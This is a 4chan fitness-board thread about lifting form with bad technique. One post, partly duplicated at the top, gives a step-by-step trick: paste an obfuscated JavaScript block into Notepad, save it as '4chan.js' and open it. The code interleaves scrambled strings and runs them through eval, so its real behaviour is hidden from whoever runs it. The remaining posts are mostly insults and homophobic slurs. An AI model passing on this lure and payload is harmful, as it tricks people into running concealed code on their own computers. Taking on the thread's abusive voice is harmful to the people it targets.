'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
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');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
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>> Anonymous
43lzpsh

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
>>436143
I was wondering, once a slave to form gets into extremely high weights and can actually do a few reps... Do they have better shaped muscles?
>> Anonymous
>>436121
not so tough now are you fag?
>> Anonymous
who the fuck are you to judge proper form?

any of you?

i can imagine 99% of you faggots whispering amongst yourselves when i pull sumo or a SN-grip DL that i'm 'doing it rong', because you cant even tell it is supposed to be different from a conventional pull, then run home to type on 4chan about it.
>> Anonymous
>>437075
hey man, all you need is a youtube and hacked version of Rippetoe's book and i'll know as much as your decades of in the gym experience mr steroid knw it all.
>> Anonymous
>>437075
stop being bitter tripfag
maybe we'd have our minds blown seeing your exercises, but most of the time it is pretty simple to see that an idiot is setting himself up for injury, even without being a CSCS
>> Anonymous
shitty form means lack of full developement. so its not about connective tissue, more about the little muscles aren't getting their due. this means injury, less potential size anyway because fibres in the big ones aren't being fully recruited, plateaus and an inability to actually put that strength down into something useful. also it makes them look kind of weird. basically, they'd never win a bodybuilding competition. nor a powerlifting one.

and how do you mean strong? doing biceps curls with your hips doesn't actually mean you're strong. i could curl 70kg using body english if i wanted to. doesn't mean shit though. neither does half repping your bench press.

i see guys bouncing the weight of the floor and thinking their repping 150kg for deads. it's funny. because if they let it rest (DEAD lift cocksucker) they'd get like 2 reps out.
>> Anonymous
>>437097
you're awesome
>> Anonymous
>>436019

He held onto the weight too long while not being capable of completing the lift.. he should have just let it go. Lost his form coupled with the massive amount of weight, something had to give.
>> Anonymous
>>437075
holy shit, will you get the fuck out already dickhead? this fucking thread is not about you and your sl deadlifts. this thread is not about you, stop jumping into converstations and with your RAWR WUTS DO YOUS FUKING NOES. you're a worthless fuckwit and no one cares about you. have you not realised this yet?
>> Lil Dreamer !UYwMl8CsAs
>>437075
when i see someone doing full-body bicep curls, i CAN judge that that person is fucking stupid. it's not rocket science.
>> Anonymous
>>437129
not that I do it (I hate curls, do some rows instead) but isn't it a technique used to get everything out of the biceps you can. I think I read something to that effect in Arnold's encycolopedia.
>> Anonymous
> biggest, strongest guys I see at the gym have shitty form

i guez they must be doing it rong

therefore. ITT: idiots, incapable of recognizing good form/exercise identification (power cleans are not 'cheated reverse curls') or just scrawny shits mentally compensating for their inability to invest hard work/effort into the gym, so they justify this by name calling on the >biggest, strongest guys
>> Anonymous
>>437097
OK cool.
So basically even though I'll look weaker for a long while, by staying true to form and not being a dickhead about things, I will have a much more well rounded physique and well distributed strength...

Off topic, but you sound like you'd know this...

When lifting should I initially do the movement fast and bring it back slow?

I can see this making sense for bench press, not sure about bent over barbell row though.
>> Lil Dreamer !UYwMl8CsAs
>>437139
butthurt
>> Anonymous
>>437139
Maybe the biggest, strongest guys in their gyms are doing things wrong.

I'm sure you go to a gym populated by Oly lifters, but most gyms I've been too mostly have dickheads.
>> Anonymous
>>437138
Good point.
I was talking to my buddy who is getting into heavy weight and justified his admitted lack of form by telling me Arnold ok'd it.
>> Anonymous
>>437138
no, if you're swinging like that you're not recruiting all the fibres. or all the fibres have already failed out so there is no point anyway. maybe thats what they thought 30 years ago though.

>>therefore. ITT: idiots, incapable of recognizing good form/exercise identification (power cleans are not 'cheated reverse curls') or just scrawny shits mentally compensating for their inability to invest hard work/effort into the gym, so they justify this by name calling on the >biggest, strongest guys

dear worthless fuckpig,

how the fuck do you know? this is you inventing shit in your head and responding to it like it's reality again. stop arguing with yourself and stop coming here and attention seeking. we don't know what exercises the op was even talking about. we don't know what he considers big and strong. everyone else assumed that he was talking about bodyenglish bicep curls for example, you decided he was saying mean things about your deadlifts. you are a self-absorbed motherfucker aren't you?

nobody likes you anymore. we don't care about your cscs. we will not suck your cock like you want us to. you will not be 4chans zc or whoever. it doesn't matter if you know more than us, because now you're just some cock who is rapidly turning into troll fodder. fuck off.
>> Anonymous
>>437152
no
butthurt is you faggots BAWWWWING @ this
http://www.youtube.com/watch?v=D7jAIdoORxI
>> Anonymous
>>437168
ex of proper butthurt BAAWWWINNNGGG

of course i'm trolling. any science, reason, experience, or logic would be trolling in the land of 4chan
>> Lil Dreamer !UYwMl8CsAs
>>437169
i can taste your BAWWWWW from here.
>> lite wait Anonymous
maybe i'm using 'big words', here, a video of your own god may explain this to you.

another example of
>biggest, strongest guys I see at the gym have shitty form

http://www.youtube.com/watch?v=FvuCkPIqQQM&NR=1

remember, he's doing it rong
>> Anonymous
>>437145
meh, depends, what are you trying to acheive? i understand tempo can be varied for hypertrophy purposes, or to shake things up a bit but i don't lift like that so i can't comment. if you really want to get into it try googling a rapidshare something like the poliquin principles, which i understand is a little out of date now though, and/or start hanging out on tnation or bodybuilding.com forums. people over there are usually pretty good, and unlike that namefag fuckwit aren't always complete cocksuckers about it.

>>437169
really? actually i doubt it. this is you attention seeking again. this is you making shit up again just so people will look at you again. this is you inventing arguments again. why do you assume that we're talking about that and not say, diesel weasel or whatever the fuck that guy is called? because the noise in your head demands appeasement?

get out faggot. nobody gives a shit anymore.
>> Anonymous
>>437169
See, you are making things up.
Thinking everyone in this thread would bawww at this guys form.
Looks fine to me, doesn't seem like his lower back is curling on him, he positioned himself so that wouldn't happen.
The man is a monster.
You are a troll of the butthurt variety.
>> Anonymous
DAMN!! There is too much roid rage in here. Simmer down /fit/
>> Anonymous
>>437200
uh
no one could think that 1 arm db rowing is good form. and im not that other guy. i imagine anything with that many reps having to break down in form.
>> Anonymous
>>437196
OP here, and I don't really see that as being horrible form as I witness it at my gym.

More like this, but even these don't do some of what I see justice.

http://uk.youtube.com/watch?v=Ka5xFIG_fu8

http://uk.youtube.com/watch?v=jiTIf_sWRf4
>> Anonymous
>>437200
what the FUCK do you know? how DARE you FUCKING QUESTION ME? you're just some skinny fucking guy making EXCUSES for your failure. i learnt from TRAVIS MASH fuckwit. who the fuck do you think you are to laugh at my lopsided PENIS? a lot of guys have short, lopsided PENISES, including some highly successful PORNSTARS which you'd know if you got off you ass and spent hours comparing your PENIS to other mens.

ITT guys incapable of recognising good penises or skinny virgins who haven't seen another penis in their lives
>> Anonymous
>>437248
lol, this is why I love tripfags without actual tripcodes
>> Anonymous !!X0kChzL/Saj
you guys are pathetic. now i have a tripcode so fuck off with your lame immature trolling.
>> Lil Dreamer !UYwMl8CsAs
>>437280
troll'd like a motherfucker.
>> cscs !!X0kChzL/Saj
ok, so thats how you put a name in is it?
>> Anonymous
     File :-(, x)
>>437280
>>437292
BWAHAHAHAHAHAHA

I HAVE THE POWER
>> Anonymous
>>437248
>>437272
>>437280
>>437292
epic trolling of troll
>> Anonymous
>>437343
haha, you are the one to have been trolled
>> JESUS !vBOFA0jTOg
YAY TROLLS :D